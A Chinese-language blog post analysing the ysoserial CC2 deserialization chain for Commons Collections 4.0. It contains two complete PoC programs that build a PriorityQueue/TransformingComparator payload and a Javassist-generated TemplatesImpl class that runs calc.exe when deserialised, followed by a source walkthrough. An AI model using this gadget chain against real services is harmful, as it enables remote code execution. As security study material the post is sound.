环境

JDK 1.7
Commons Collections 4.0
javassit

maven所需pom
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

ysoserial中的cc2利用链使用了javassit,javassit是什么呢?
这篇文章说的很清楚:
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

本地poc分析

package org.example.cc;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2Demo1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"}));
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
            objectInputStream.readObject();
            objectInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

我们先从java.util.PriorityQueue类中的readObject方法中看:
在这里插入图片描述
queue[i]的值是由s.readObject得到的,相对应的再writeObject处写入了对应的内容:
在这里插入图片描述
我们可以通过反射来设置queue[i]的值来控制queue[i]内容,也就是说queue[i]是我们可控的
跟进heapify方法:
在这里插入图片描述
进入for循环需要一个条件,就是size>1,因为size >>> 1进行了右移位操作,所以只有当size>1的时候才会进入循环
跟如siftDown方法:
在这里插入图片描述
这里的x即为queue[i],跟进siftDownUsingComparator方法。
在这里插入图片描述
重点是加断点的那一行,if (comparator.compare(x, (E) c) <= 0),x就是我们传入的queue[i],comparator接口跟进是TransformingComparator接口,而TransformingComparator接口实现了Comparator接口,重写了compare方法
在这里插入图片描述
compare方法中
可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。
图中this.transformer并没有被static或transient修饰,所以是我们可控的。
实现代码为上面poc中的:

TransformingComparator comparator = new TransformingComparator(chain);

问题1:
为什么这里要put两个值进去?
这里往queue中put两个值,是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中,完成后面的链。
问题2:
必须在add后,再反射设置comparator值,在add中的siftUp方法中,需要让comparator为null,才会走else,走else才可以添加到queue中,否则会报错

ysoserial-cc2利用链分析

ysoserial的cc2中引入了 TemplatesImpl 类,需要javassit.
poc:

package org.example.cc;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2Demo2 {

    public static void main(String[] args) throws Exception {
        // 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        // 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
        TransformingComparator comparator = new TransformingComparator(transformer);
        // 实例化PriorityQueue对象,
        PriorityQueue queue = new PriorityQueue(1);




        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool pool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 给这个类创建 static 代码块,并插入到类中
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        cc.setName(randomClassName);
        // 给这个类添加一个父类,即继承该父类。
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
        //将生成的类文件保存下来
        cc.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = cc.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
//        System.out.println(targetByteCodes);
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组,
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        // 新建一个对象数组
        Object[] queue_array = new Object[]{templates,1};


        // 反射设置PriorityQueue的queue值
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        // 反射设置PriorityQueue的size值
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        // 反射设置PriorityQueue的comparator值
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);


        try{
            // 序列化对象
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
            objectInputStream.readObject();
            objectInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

下面我们来拆解代码(其实每行代码都有注解):
片段1:
反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"

// 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

片段2:
实例化一个TransformingComparator对象,并且传入了transformer
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

        // 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
        TransformingComparator comparator = new TransformingComparator(transformer);
        // 实例化PriorityQueue对象,
        PriorityQueue queue = new PriorityQueue(1);

片段3:
javassit创建一个class文件

        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool pool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 给这个类创建 static 代码块,并插入到类中
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        cc.setName(randomClassName);
        // 给这个类添加一个父类,即继承该父类。
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
        //将生成的类文件保存下来
        cc.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = cc.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};  

片段4:
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么这么赋值会在稍后的分析源码中体现;

        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组,
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

片段5:
新建一个对象数组,第一个为templates,第二个为1
通过反射来设置queue值

        // 新建一个对象数组
        Object[] queue_array = new Object[]{templates,1};
        // 反射设置PriorityQueue的queue值
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

片段6:
通过反射将queue的size设为2,与本地poc中使用两个add的意思一样

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

片段7:
反射设置PriorityQueue的comparator值

        // 反射设置PriorityQueue的comparator值
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
在这里插入图片描述
跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象;
在这里插入图片描述
到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的InvokerTransformer实例;
在这里插入图片描述
跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法;
在这里插入图片描述
接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer();
跟到newTransformer方法中:
在这里插入图片描述
继续跟踪getTransletInstance方法;
进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;
这就是片段4中赋值的原因;
在这里插入图片描述
继续跟进defineTransletClasses方法,
在这里插入图片描述
_bytecodes是我们传入的targetByteCodes,所以回继续向下,

在这里插入图片描述
通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCat118492199735900
再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代片段3中要设置AbstractTranslet类为新建类的父类;

给_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象,即创建EvilCat118492199735900类的对象,那么该类中的static代码部分就会执行,成功执行命令。
在这里插入图片描述

参考:
https://paper.seebug.org/1242/#commonscollections-2
https://www.cnblogs.com/rickiyang/p/11336268.html
https://blog.csdn.net/qq_41918771/article/details/117194343
posted on 2022-09-13 18:13  noone52  阅读(84)  评论(0编辑  收藏  举报